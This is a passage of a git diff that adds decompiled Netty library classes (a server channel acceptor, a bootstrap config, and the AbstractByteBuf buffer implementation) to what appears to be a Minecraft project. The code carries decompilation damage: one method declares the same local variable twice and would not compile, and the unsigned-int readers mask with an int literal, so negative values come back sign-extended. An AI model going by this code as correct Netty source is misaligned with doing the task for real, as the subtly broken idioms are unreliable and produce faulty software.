+    extends ChannelInboundHandlerAdapter
+  {
+    private final EventLoopGroup childGroup;
+    private final ChannelHandler childHandler;
+    private final Map.Entry<ChannelOption<?>, Object>[] childOptions;
+    private final Map.Entry<AttributeKey<?>, Object>[] childAttrs;
+    
+    ServerBootstrapAcceptor(EventLoopGroup childGroup, ChannelHandler childHandler, Map.Entry<ChannelOption<?>, Object>[] childOptions, Map.Entry<AttributeKey<?>, Object>[] childAttrs)
+    {
+      this.childGroup = childGroup;
+      this.childHandler = childHandler;
+      this.childOptions = childOptions;
+      this.childAttrs = childAttrs;
+    }
+    
+
+    public void channelRead(ChannelHandlerContext ctx, Object msg)
+    {
+      final Channel child = (Channel)msg;
+      
+      child.pipeline().addLast(new ChannelHandler[] { childHandler });
+      
+      for (Map.Entry<ChannelOption<?>, Object> e : childOptions) {
+        try {
+          if (!child.config().setOption((ChannelOption)e.getKey(), e.getValue())) {
+            ServerBootstrap.logger.warn("Unknown channel option: " + e);
+          }
+        } catch (Throwable t) {
+          ServerBootstrap.logger.warn("Failed to set a channel option: " + child, t);
+        }
+      }
+      
+      for (Map.Entry<AttributeKey<?>, Object> e : childAttrs) {
+        child.attr((AttributeKey)e.getKey()).set(e.getValue());
+      }
+      try
+      {
+        childGroup.register(child).addListener(new ChannelFutureListener()
+        {
+          public void operationComplete(ChannelFuture future) throws Exception {
+            if (!future.isSuccess()) {
+              ServerBootstrap.ServerBootstrapAcceptor.forceClose(child, future.cause());
+            }
+          }
+        });
+      } catch (Throwable t) {
+        forceClose(child, t);
+      }
+    }
+    
+    private static void forceClose(Channel child, Throwable t) {
+      child.unsafe().closeForcibly();
+      ServerBootstrap.logger.warn("Failed to register an accepted channel: " + child, t);
+    }
+    
+    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+    {
+      final ChannelConfig config = ctx.channel().config();
+      if (config.isAutoRead())
+      {
+
+        config.setAutoRead(false);
+        ctx.channel().eventLoop().schedule(new Runnable()
+        {
+
+          public void run() { config.setAutoRead(true); } }, 1L, TimeUnit.SECONDS);
+      }
+      
+
+
+
+      ctx.fireExceptionCaught(cause);
+    }
+  }
+  
+
+  public ServerBootstrap clone()
+  {
+    return new ServerBootstrap(this);
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.setLength(buf.length() - 1);
+    buf.append(", ");
+    if (childGroup != null) {
+      buf.append("childGroup: ");
+      buf.append(StringUtil.simpleClassName(childGroup));
+      buf.append(", ");
+    }
+    synchronized (childOptions) {
+      if (!childOptions.isEmpty()) {
+        buf.append("childOptions: ");
+        buf.append(childOptions);
+        buf.append(", ");
+      }
+    }
+    synchronized (childAttrs) {
+      if (!childAttrs.isEmpty()) {
+        buf.append("childAttrs: ");
+        buf.append(childAttrs);
+        buf.append(", ");
+      }
+    }
+    if (childHandler != null) {
+      buf.append("childHandler: ");
+      buf.append(childHandler);
+      buf.append(", ");
+    }
+    if (buf.charAt(buf.length() - 1) == '(') {
+      buf.append(')');
+    } else {
+      buf.setCharAt(buf.length() - 2, ')');
+      buf.setLength(buf.length() - 1);
+    }
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/bootstrap/ServerBootstrapConfig.java b/src/minecraft/io/netty/bootstrap/ServerBootstrapConfig.java
new file mode 100644
index 0000000..6ea6259
--- /dev/null
+++ b/src/minecraft/io/netty/bootstrap/ServerBootstrapConfig.java
@@ -0,0 +1,105 @@
+package io.netty.bootstrap;
+
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.ServerChannel;
+import io.netty.util.AttributeKey;
+import io.netty.util.internal.StringUtil;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ServerBootstrapConfig
+  extends AbstractBootstrapConfig<ServerBootstrap, ServerChannel>
+{
+  ServerBootstrapConfig(ServerBootstrap bootstrap)
+  {
+    super(bootstrap);
+  }
+  
+
+
+
+
+  public EventLoopGroup childGroup()
+  {
+    return ((ServerBootstrap)bootstrap).childGroup();
+  }
+  
+
+
+
+  public ChannelHandler childHandler()
+  {
+    return ((ServerBootstrap)bootstrap).childHandler();
+  }
+  
+
+
+  public Map<ChannelOption<?>, Object> childOptions()
+  {
+    return ((ServerBootstrap)bootstrap).childOptions();
+  }
+  
+
+
+  public Map<AttributeKey<?>, Object> childAttrs()
+  {
+    return ((ServerBootstrap)bootstrap).childAttrs();
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder(super.toString());
+    buf.setLength(buf.length() - 1);
+    buf.append(", ");
+    EventLoopGroup childGroup = childGroup();
+    if (childGroup != null) {
+      buf.append("childGroup: ");
+      buf.append(StringUtil.simpleClassName(childGroup));
+      buf.append(", ");
+    }
+    Map<ChannelOption<?>, Object> childOptions = childOptions();
+    if (!childOptions.isEmpty()) {
+      buf.append("childOptions: ");
+      buf.append(childOptions);
+      buf.append(", ");
+    }
+    Map<AttributeKey<?>, Object> childAttrs = childAttrs();
+    if (!childAttrs.isEmpty()) {
+      buf.append("childAttrs: ");
+      buf.append(childAttrs);
+      buf.append(", ");
+    }
+    ChannelHandler childHandler = childHandler();
+    if (childHandler != null) {
+      buf.append("childHandler: ");
+      buf.append(childHandler);
+      buf.append(", ");
+    }
+    if (buf.charAt(buf.length() - 1) == '(') {
+      buf.append(')');
+    } else {
+      buf.setCharAt(buf.length() - 2, ')');
+      buf.setLength(buf.length() - 1);
+    }
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractByteBuf.java b/src/minecraft/io/netty/buffer/AbstractByteBuf.java
new file mode 100644
index 0000000..221b321
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractByteBuf.java
@@ -0,0 +1,1190 @@
+package io.netty.buffer;
+
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractByteBuf
+  extends ByteBuf
+{
+  static final ResourceLeakDetector<ByteBuf> leakDetector = new ResourceLeakDetector(ByteBuf.class);
+  
+  int readerIndex;
+  
+  int writerIndex;
+  private int markedReaderIndex;
+  private int markedWriterIndex;
+  private int maxCapacity;
+  private SwappedByteBuf swappedBuf;
+  
+  protected AbstractByteBuf(int maxCapacity)
+  {
+    if (maxCapacity < 0) {
+      throw new IllegalArgumentException("maxCapacity: " + maxCapacity + " (expected: >= 0)");
+    }
+    this.maxCapacity = maxCapacity;
+  }
+  
+  public int maxCapacity()
+  {
+    return maxCapacity;
+  }
+  
+  protected final void maxCapacity(int maxCapacity) {
+    this.maxCapacity = maxCapacity;
+  }
+  
+  public int readerIndex()
+  {
+    return readerIndex;
+  }
+  
+  public ByteBuf readerIndex(int readerIndex)
+  {
+    if ((readerIndex < 0) || (readerIndex > writerIndex)) {
+      throw new IndexOutOfBoundsException(String.format("readerIndex: %d (expected: 0 <= readerIndex <= writerIndex(%d))", new Object[] { Integer.valueOf(readerIndex), Integer.valueOf(writerIndex) }));
+    }
+    
+    this.readerIndex = readerIndex;
+    return this;
+  }
+  
+  public int writerIndex()
+  {
+    return writerIndex;
+  }
+  
+  public ByteBuf writerIndex(int writerIndex)
+  {
+    if ((writerIndex < readerIndex) || (writerIndex > capacity())) {
+      throw new IndexOutOfBoundsException(String.format("writerIndex: %d (expected: readerIndex(%d) <= writerIndex <= capacity(%d))", new Object[] { Integer.valueOf(writerIndex), Integer.valueOf(readerIndex), Integer.valueOf(capacity()) }));
+    }
+    
+
+    this.writerIndex = writerIndex;
+    return this;
+  }
+  
+  public ByteBuf setIndex(int readerIndex, int writerIndex)
+  {
+    if ((readerIndex < 0) || (readerIndex > writerIndex) || (writerIndex > capacity())) {
+      throw new IndexOutOfBoundsException(String.format("readerIndex: %d, writerIndex: %d (expected: 0 <= readerIndex <= writerIndex <= capacity(%d))", new Object[] { Integer.valueOf(readerIndex), Integer.valueOf(writerIndex), Integer.valueOf(capacity()) }));
+    }
+    
+
+    this.readerIndex = readerIndex;
+    this.writerIndex = writerIndex;
+    return this;
+  }
+  
+  public ByteBuf clear()
+  {
+    readerIndex = (this.writerIndex = 0);
+    return this;
+  }
+  
+  public boolean isReadable()
+  {
+    return writerIndex > readerIndex;
+  }
+  
+  public boolean isReadable(int numBytes)
+  {
+    return writerIndex - readerIndex >= numBytes;
+  }
+  
+  public boolean isWritable()
+  {
+    return capacity() > writerIndex;
+  }
+  
+  public boolean isWritable(int numBytes)
+  {
+    return capacity() - writerIndex >= numBytes;
+  }
+  
+  public int readableBytes()
+  {
+    return writerIndex - readerIndex;
+  }
+  
+  public int writableBytes()
+  {
+    return capacity() - writerIndex;
+  }
+  
+  public int maxWritableBytes()
+  {
+    return maxCapacity() - writerIndex;
+  }
+  
+  public ByteBuf markReaderIndex()
+  {
+    markedReaderIndex = readerIndex;
+    return this;
+  }
+  
+  public ByteBuf resetReaderIndex()
+  {
+    readerIndex(markedReaderIndex);
+    return this;
+  }
+  
+  public ByteBuf markWriterIndex()
+  {
+    markedWriterIndex = writerIndex;
+    return this;
+  }
+  
+  public ByteBuf resetWriterIndex()
+  {
+    writerIndex = markedWriterIndex;
+    return this;
+  }
+  
+  public ByteBuf discardReadBytes()
+  {
+    ensureAccessible();
+    if (readerIndex == 0) {
+      return this;
+    }
+    
+    if (readerIndex != writerIndex) {
+      setBytes(0, this, readerIndex, writerIndex - readerIndex);
+      writerIndex -= readerIndex;
+      adjustMarkers(readerIndex);
+      readerIndex = 0;
+    } else {
+      adjustMarkers(readerIndex);
+      writerIndex = (this.readerIndex = 0);
+    }
+    return this;
+  }
+  
+  public ByteBuf discardSomeReadBytes()
+  {
+    ensureAccessible();
+    if (readerIndex == 0) {
+      return this;
+    }
+    
+    if (readerIndex == writerIndex) {
+      adjustMarkers(readerIndex);
+      writerIndex = (this.readerIndex = 0);
+      return this;
+    }
+    
+    if (readerIndex >= capacity() >>> 1) {
+      setBytes(0, this, readerIndex, writerIndex - readerIndex);
+      writerIndex -= readerIndex;
+      adjustMarkers(readerIndex);
+      readerIndex = 0;
+    }
+    return this;
+  }
+  
+  protected final void adjustMarkers(int decrement) {
+    int markedReaderIndex = this.markedReaderIndex;
+    if (markedReaderIndex <= decrement) {
+      this.markedReaderIndex = 0;
+      int markedWriterIndex = this.markedWriterIndex;
+      if (markedWriterIndex <= decrement) {
+        this.markedWriterIndex = 0;
+      } else {
+        this.markedWriterIndex = (markedWriterIndex - decrement);
+      }
+    } else {
+      this.markedReaderIndex = (markedReaderIndex - decrement);
+      this.markedWriterIndex -= decrement;
+    }
+  }
+  
+  public ByteBuf ensureWritable(int minWritableBytes)
+  {
+    if (minWritableBytes < 0) {
+      throw new IllegalArgumentException(String.format("minWritableBytes: %d (expected: >= 0)", new Object[] { Integer.valueOf(minWritableBytes) }));
+    }
+    
+
+    if (minWritableBytes <= writableBytes()) {
+      return this;
+    }
+    
+    if (minWritableBytes > maxCapacity - writerIndex) {
+      throw new IndexOutOfBoundsException(String.format("writerIndex(%d) + minWritableBytes(%d) exceeds maxCapacity(%d): %s", new Object[] { Integer.valueOf(writerIndex), Integer.valueOf(minWritableBytes), Integer.valueOf(maxCapacity), this }));
+    }
+    
+
+
+
+    int newCapacity = calculateNewCapacity(writerIndex + minWritableBytes);
+    
+
+    capacity(newCapacity);
+    return this;
+  }
+  
+  public int ensureWritable(int minWritableBytes, boolean force)
+  {
+    if (minWritableBytes < 0) {
+      throw new IllegalArgumentException(String.format("minWritableBytes: %d (expected: >= 0)", new Object[] { Integer.valueOf(minWritableBytes) }));
+    }
+    
+
+    if (minWritableBytes <= writableBytes()) {
+      return 0;
+    }
+    
+    if ((minWritableBytes > maxCapacity - writerIndex) && 
+      (force)) {
+      if (capacity() == maxCapacity()) {
+        return 1;
+      }
+      
+      capacity(maxCapacity());
+      return 3;
+    }
+    
+
+
+    int newCapacity = calculateNewCapacity(writerIndex + minWritableBytes);
+    
+
+    capacity(newCapacity);
+    return 2;
+  }
+  
+  private int calculateNewCapacity(int minNewCapacity) {
+    int maxCapacity = this.maxCapacity;
+    int threshold = 4194304;
+    
+    if (minNewCapacity == 4194304) {
+      return 4194304;
+    }
+    
+
+    if (minNewCapacity > 4194304) {
+      int newCapacity = minNewCapacity / 4194304 * 4194304;
+      if (newCapacity > maxCapacity - 4194304) {
+        newCapacity = maxCapacity;
+      } else {
+        newCapacity += 4194304;
+      }
+      return newCapacity;
+    }
+    
+
+    int newCapacity = 64;
+    while (newCapacity < minNewCapacity) {
+      newCapacity <<= 1;
+    }
+    
+    return Math.min(newCapacity, maxCapacity);
+  }
+  
+  public ByteBuf order(ByteOrder endianness)
+  {
+    if (endianness == null) {
+      throw new NullPointerException("endianness");
+    }
+    if (endianness == order()) {
+      return this;
+    }
+    
+    SwappedByteBuf swappedBuf = this.swappedBuf;
+    if (swappedBuf == null) {
+      this.swappedBuf = (swappedBuf = newSwappedByteBuf());
+    }
+    return swappedBuf;
+  }
+  
+
+
+  protected SwappedByteBuf newSwappedByteBuf()
+  {
+    return new SwappedByteBuf(this);
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex(index);
+    return _getByte(index);
+  }
+  
+  protected abstract byte _getByte(int paramInt);
+  
+  public boolean getBoolean(int index)
+  {
+    return getByte(index) != 0;
+  }
+  
+  public short getUnsignedByte(int index)
+  {
+    return (short)(getByte(index) & 0xFF);
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex(index, 2);
+    return _getShort(index);
+  }
+  
+  protected abstract short _getShort(int paramInt);
+  
+  public int getUnsignedShort(int index)
+  {
+    return getShort(index) & 0xFFFF;
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex(index, 3);
+    return _getUnsignedMedium(index);
+  }
+  
+  protected abstract int _getUnsignedMedium(int paramInt);
+  
+  public int getMedium(int index)
+  {
+    int value = getUnsignedMedium(index);
+    if ((value & 0x800000) != 0) {
+      value |= 0xFF000000;
+    }
+    return value;
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex(index, 4);
+    return _getInt(index);
+  }
+  
+  protected abstract int _getInt(int paramInt);
+  
+  public long getUnsignedInt(int index)
+  {
+    return getInt(index) & 0xFFFFFFFF;
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex(index, 8);
+    return _getLong(index);
+  }
+  
+  protected abstract long _getLong(int paramInt);
+  
+  public char getChar(int index)
+  {
+    return (char)getShort(index);
+  }
+  
+  public float getFloat(int index)
+  {
+    return Float.intBitsToFloat(getInt(index));
+  }
+  
+  public double getDouble(int index)
+  {
+    return Double.longBitsToDouble(getLong(index));
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst)
+  {
+    getBytes(index, dst, 0, dst.length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst)
+  {
+    getBytes(index, dst, dst.writableBytes());
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int length)
+  {
+    getBytes(index, dst, dst.writerIndex(), length);
+    dst.writerIndex(dst.writerIndex() + length);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    checkIndex(index);
+    _setByte(index, value);
+    return this;
+  }
+  
+  protected abstract void _setByte(int paramInt1, int paramInt2);
+  
+  public ByteBuf setBoolean(int index, boolean value)
+  {
+    setByte(index, value ? 1 : 0);
+    return this;
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    checkIndex(index, 2);
+    _setShort(index, value);
+    return this;
+  }
+  
+  protected abstract void _setShort(int paramInt1, int paramInt2);
+  
+  public ByteBuf setChar(int index, int value)
+  {
+    setShort(index, value);
+    return this;
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    checkIndex(index, 3);
+    _setMedium(index, value);
+    return this;
+  }
+  
+  protected abstract void _setMedium(int paramInt1, int paramInt2);
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    checkIndex(index, 4);
+    _setInt(index, value);
+    return this;
+  }
+  
+  protected abstract void _setInt(int paramInt1, int paramInt2);
+  
+  public ByteBuf setFloat(int index, float value)
+  {
+    setInt(index, Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    checkIndex(index, 8);
+    _setLong(index, value);
+    return this;
+  }
+  
+  protected abstract void _setLong(int paramInt, long paramLong);
+  
+  public ByteBuf setDouble(int index, double value)
+  {
+    setLong(index, Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src)
+  {
+    setBytes(index, src, 0, src.length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src)
+  {
+    setBytes(index, src, src.readableBytes());
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int length)
+  {
+    checkIndex(index, length);
+    if (src == null) {
+      throw new NullPointerException("src");
+    }
+    if (length > src.readableBytes()) {
+      throw new IndexOutOfBoundsException(String.format("length(%d) exceeds src.readableBytes(%d) where src is: %s", new Object[] { Integer.valueOf(length), Integer.valueOf(src.readableBytes()), src }));
+    }
+    
+
+    setBytes(index, src, src.readerIndex(), length);
+    src.readerIndex(src.readerIndex() + length);
+    return this;
+  }
+  
+  public ByteBuf setZero(int index, int length)
+  {
+    if (length == 0) {
+      return this;
+    }
+    
+    checkIndex(index, length);
+    
+    int nLong = length >>> 3;
+    int nBytes = length & 0x7;
+    for (int i = nLong; i > 0; i--) {
+      setLong(index, 0L);
+      index += 8;
+    }
+    if (nBytes == 4) {
+      setInt(index, 0);
+    } else if (nBytes < 4) {
+      for (int i = nBytes; i > 0; i--) {
+        setByte(index, 0);
+        index++;
+      }
+    } else {
+      setInt(index, 0);
+      index += 4;
+      for (int i = nBytes - 4; i > 0; i--) {
+        setByte(index, 0);
+        index++;
+      }
+    }
+    return this;
+  }
+  
+  public byte readByte()
+  {
+    checkReadableBytes(1);
+    int i = readerIndex;
+    byte b = getByte(i);
+    readerIndex = (i + 1);
+    return b;
+  }
+  
+  public boolean readBoolean()
+  {
+    return readByte() != 0;
+  }
+  
+  public short readUnsignedByte()
+  {
+    return (short)(readByte() & 0xFF);
+  }
+  
+  public short readShort()
+  {
+    checkReadableBytes(2);
+    short v = _getShort(readerIndex);
+    readerIndex += 2;
+    return v;
+  }
+  
+  public int readUnsignedShort()
+  {
+    return readShort() & 0xFFFF;
+  }
+  
+  public int readMedium()
+  {
+    int value = readUnsignedMedium();
+    if ((value & 0x800000) != 0) {
+      value |= 0xFF000000;
+    }
+    return value;
+  }
+  
+  public int readUnsignedMedium()
+  {
+    checkReadableBytes(3);
+    int v = _getUnsignedMedium(readerIndex);
+    readerIndex += 3;
+    return v;
+  }
+  
+  public int readInt()
+  {
+    checkReadableBytes(4);
+    int v = _getInt(readerIndex);
+    readerIndex += 4;
+    return v;
+  }
+  
+  public long readUnsignedInt()
+  {
+    return readInt() & 0xFFFFFFFF;
+  }
+  
+  public long readLong()
+  {
+    checkReadableBytes(8);
+    long v = _getLong(readerIndex);
+    readerIndex += 8;
+    return v;
+  }
+  
+  public char readChar()
+  {
+    return (char)readShort();
+  }
+  
+  public float readFloat()
+  {
+    return Float.intBitsToFloat(readInt());
+  }
+  
+  public double readDouble()
+  {
+    return Double.longBitsToDouble(readLong());
+  }
+  
+  public ByteBuf readBytes(int length)
+  {
+    checkReadableBytes(length);
+    if (length == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+
+    ByteBuf buf = Unpooled.buffer(length, maxCapacity);
+    buf.writeBytes(this, readerIndex, length);
+    readerIndex += length;
+    return buf;
+  }
+  
+  public ByteBuf readSlice(int length)
+  {
+    ByteBuf slice = slice(readerIndex, length);
+    readerIndex += length;
+    return slice;
+  }
+  
+  public ByteBuf readBytes(byte[] dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, dstIndex, length);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf readBytes(byte[] dst)
+  {
+    readBytes(dst, 0, dst.length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst)
+  {
+    readBytes(dst, dst.writableBytes());
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int length)
+  {
+    if (length > dst.writableBytes()) {
+      throw new IndexOutOfBoundsException(String.format("length(%d) exceeds dst.writableBytes(%d) where dst is: %s", new Object[] { Integer.valueOf(length), Integer.valueOf(dst.writableBytes()), dst }));
+    }
+    
+    readBytes(dst, dst.writerIndex(), length);
+    dst.writerIndex(dst.writerIndex() + length);
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuf dst, int dstIndex, int length)
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst, dstIndex, length);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf readBytes(ByteBuffer dst)
+  {
+    int length = dst.remaining();
+    checkReadableBytes(length);
+    getBytes(readerIndex, dst);
+    readerIndex += length;
+    return this;
+  }
+  
+  public int readBytes(GatheringByteChannel out, int length)
+    throws IOException
+  {
+    checkReadableBytes(length);
+    int readBytes = getBytes(readerIndex, out, length);
+    readerIndex += readBytes;
+    return readBytes;
+  }
+  
+  public ByteBuf readBytes(OutputStream out, int length) throws IOException
+  {
+    checkReadableBytes(length);
+    getBytes(readerIndex, out, length);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf skipBytes(int length)
+  {
+    checkReadableBytes(length);
+    readerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf writeBoolean(boolean value)
+  {
+    writeByte(value ? 1 : 0);
+    return this;
+  }
+  
+  public ByteBuf writeByte(int value)
+  {
+    ensureAccessible();
+    ensureWritable(1);
+    _setByte(writerIndex++, value);
+    return this;
+  }
+  
+  public ByteBuf writeShort(int value)
+  {
+    ensureAccessible();
+    ensureWritable(2);
+    _setShort(writerIndex, value);
+    writerIndex += 2;
+    return this;
+  }
+  
+  public ByteBuf writeMedium(int value)
+  {
+    ensureAccessible();
+    ensureWritable(3);
+    _setMedium(writerIndex, value);
+    writerIndex += 3;
+    return this;
+  }
+  
+  public ByteBuf writeInt(int value)
+  {
+    ensureAccessible();
+    ensureWritable(4);
+    _setInt(writerIndex, value);
+    writerIndex += 4;
+    return this;
+  }
+  
+  public ByteBuf writeLong(long value)
+  {
+    ensureAccessible();
+    ensureWritable(8);
+    _setLong(writerIndex, value);
+    writerIndex += 8;
+    return this;
+  }
+  
+  public ByteBuf writeChar(int value)
+  {
+    writeShort(value);
+    return this;
+  }
+  
+  public ByteBuf writeFloat(float value)
+  {
+    writeInt(Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeDouble(double value)
+  {
+    writeLong(Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src, int srcIndex, int length)
+  {
+    ensureAccessible();
+    ensureWritable(length);
+    setBytes(writerIndex, src, srcIndex, length);
+    writerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf writeBytes(byte[] src)
+  {
+    writeBytes(src, 0, src.length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src)
+  {
+    writeBytes(src, src.readableBytes());
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int length)
+  {
+    if (length > src.readableBytes()) {
+      throw new IndexOutOfBoundsException(String.format("length(%d) exceeds src.readableBytes(%d) where src is: %s", new Object[] { Integer.valueOf(length), Integer.valueOf(src.readableBytes()), src }));
+    }
+    
+    writeBytes(src, src.readerIndex(), length);
+    src.readerIndex(src.readerIndex() + length);
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuf src, int srcIndex, int length)
+  {
+    ensureAccessible();
+    ensureWritable(length);
+    setBytes(writerIndex, src, srcIndex, length);
+    writerIndex += length;
+    return this;
+  }
+  
+  public ByteBuf writeBytes(ByteBuffer src)
+  {
+    ensureAccessible();
+    int length = src.remaining();
+    ensureWritable(length);
+    setBytes(writerIndex, src);
+    writerIndex += length;
+    return this;
+  }
+  
+  public int writeBytes(InputStream in, int length)
+    throws IOException
+  {
+    ensureAccessible();
+    ensureWritable(length);
+    int writtenBytes = setBytes(writerIndex, in, length);
+    if (writtenBytes > 0) {
+      writerIndex += writtenBytes;
+    }
+    return writtenBytes;
+  }
+  
+  public int writeBytes(ScatteringByteChannel in, int length) throws IOException
+  {
+    ensureAccessible();
+    ensureWritable(length);
+    int writtenBytes = setBytes(writerIndex, in, length);
+    if (writtenBytes > 0) {
+      writerIndex += writtenBytes;
+    }
+    return writtenBytes;
+  }
+  
+  public ByteBuf writeZero(int length)
+  {
+    if (length == 0) {
+      return this;
+    }
+    
+    ensureWritable(length);
+    checkIndex(writerIndex, length);
+    
+    int nLong = length >>> 3;
+    int nBytes = length & 0x7;
+    for (int i = nLong; i > 0; i--) {
+      writeLong(0L);
+    }
+    if (nBytes == 4) {
+      writeInt(0);
+    } else if (nBytes < 4) {
+      for (int i = nBytes; i > 0; i--) {
+        writeByte(0);
+      }
+    } else {
+      writeInt(0);
+      for (int i = nBytes - 4; i > 0; i--) {
+        writeByte(0);
+      }
+    }
+    return this;
+  }
+  
+  public ByteBuf copy()
+  {
+    return copy(readerIndex, readableBytes());
+  }
+  
+  public ByteBuf duplicate()
+  {
+    return new DuplicatedByteBuf(this);
+  }
+  
+  public ByteBuf slice()
+  {
+    return slice(readerIndex, readableBytes());
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    if (length == 0) {
+      return Unpooled.EMPTY_BUFFER;
+    }
+    
+    return new SlicedByteBuf(this, index, length);
+  }
+  
+  public ByteBuffer nioBuffer()
+  {
+    return nioBuffer(readerIndex, readableBytes());
+  }
+  
+  public ByteBuffer[] nioBuffers()
+  {
+    return nioBuffers(readerIndex, readableBytes());
+  }
+  
+  public String toString(Charset charset)
+  {
+    return toString(readerIndex, readableBytes(), charset);
+  }
+  
+  public String toString(int index, int length, Charset charset)
+  {
+    if (length == 0) {
+      return "";
+    }
+    ByteBuffer nioBuffer;
+    ByteBuffer nioBuffer;
+    if (nioBufferCount() == 1) {
+      nioBuffer = nioBuffer(index, length);
+    } else {
+      nioBuffer = ByteBuffer.allocate(length);
+      getBytes(index, nioBuffer);
+      nioBuffer.flip();
+    }
+    
+    return ByteBufUtil.decodeString(nioBuffer, charset);
+  }
+  
+  public int indexOf(int fromIndex, int toIndex, byte value)
+  {
+    return ByteBufUtil.indexOf(this, fromIndex, toIndex, value);
+  }
+  
+  public int bytesBefore(byte value)
+  {
+    return bytesBefore(readerIndex(), readableBytes(), value);
+  }
+  
+  public int bytesBefore(int length, byte value)
+  {
+    checkReadableBytes(length);
+    return bytesBefore(readerIndex(), length, value);
+  }
+  
+  public int bytesBefore(int index, int length, byte value)
+  {
+    int endIndex = indexOf(index, index + length, value);
+    if (endIndex < 0) {
+      return -1;
+    }
+    return endIndex - index;
+  }
+  
+  public int forEachByte(ByteBufProcessor processor)
+  {
+    int index = readerIndex;
+    int length = writerIndex - index;
+    ensureAccessible();
+    return forEachByteAsc0(index, length, processor);
+  }
+  
+  public int forEachByte(int index, int length, ByteBufProcessor processor)
+  {
+    checkIndex(index, length);
+    return forEachByteAsc0(index, length, processor);
+  }
+  
+  private int forEachByteAsc0(int index, int length, ByteBufProcessor processor) {
+    if (processor == null) {
+      throw new NullPointerException("processor");
+    }
+    
+    if (length == 0) {
+      return -1;
+    }
+    
+    int endIndex = index + length;
+    int i = index;
+    try {
+      do {
+        if (processor.process(_getByte(i))) {
+          i++;
+        } else {
+          return i;
+        }
+      } while (i < endIndex);
+    } catch (Exception e) {
+      PlatformDependent.throwException(e);
+    }
+    
+    return -1;
+  }
+  
+  public int forEachByteDesc(ByteBufProcessor processor)
+  {
+    int index = readerIndex;
+    int length = writerIndex - index;
+    ensureAccessible();
+    return forEachByteDesc0(index, length, processor);
+  }
+  
+  public int forEachByteDesc(int index, int length, ByteBufProcessor processor)
+  {
+    checkIndex(index, length);
+    
+    return forEachByteDesc0(index, length, processor);
+  }
+  
+  private int forEachByteDesc0(int index, int length, ByteBufProcessor processor)
+  {
+    if (processor == null) {
+      throw new NullPointerException("processor");
+    }
+    
+    if (length == 0) {
+      return -1;
+    }
+    
+    int i = index + length - 1;
+    try {
+      do {
+        if (processor.process(_getByte(i))) {
+          i--;
+        } else {
+          return i;
+        }
+      } while (i >= index);
+    } catch (Exception e) {
+      PlatformDependent.throwException(e);
+    }
+    
+    return -1;
+  }
+  
+  public int hashCode()
+  {
+    return ByteBufUtil.hashCode(this);
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o instanceof ByteBuf)) {
+      return ByteBufUtil.equals(this, (ByteBuf)o);
+    }
+    return false;
+  }
+  
+  public int compareTo(ByteBuf that)
+  {
+    return ByteBufUtil.compare(this, that);
+  }
+  
+  public String toString()
+  {
+    if (refCnt() == 0) {
+      return StringUtil.simpleClassName(this) + "(freed)";
+    }
+    
+    StringBuilder buf = new StringBuilder();
+    buf.append(StringUtil.simpleClassName(this));
+    buf.append("(ridx: ");
+    buf.append(readerIndex);
+    buf.append(", widx: ");
+    buf.append(writerIndex);
+    buf.append(", cap: ");
+    buf.append(capacity());
+    if (maxCapacity != Integer.MAX_VALUE) {
+      buf.append('/');
+      buf.append(maxCapacity);
+    }
+    
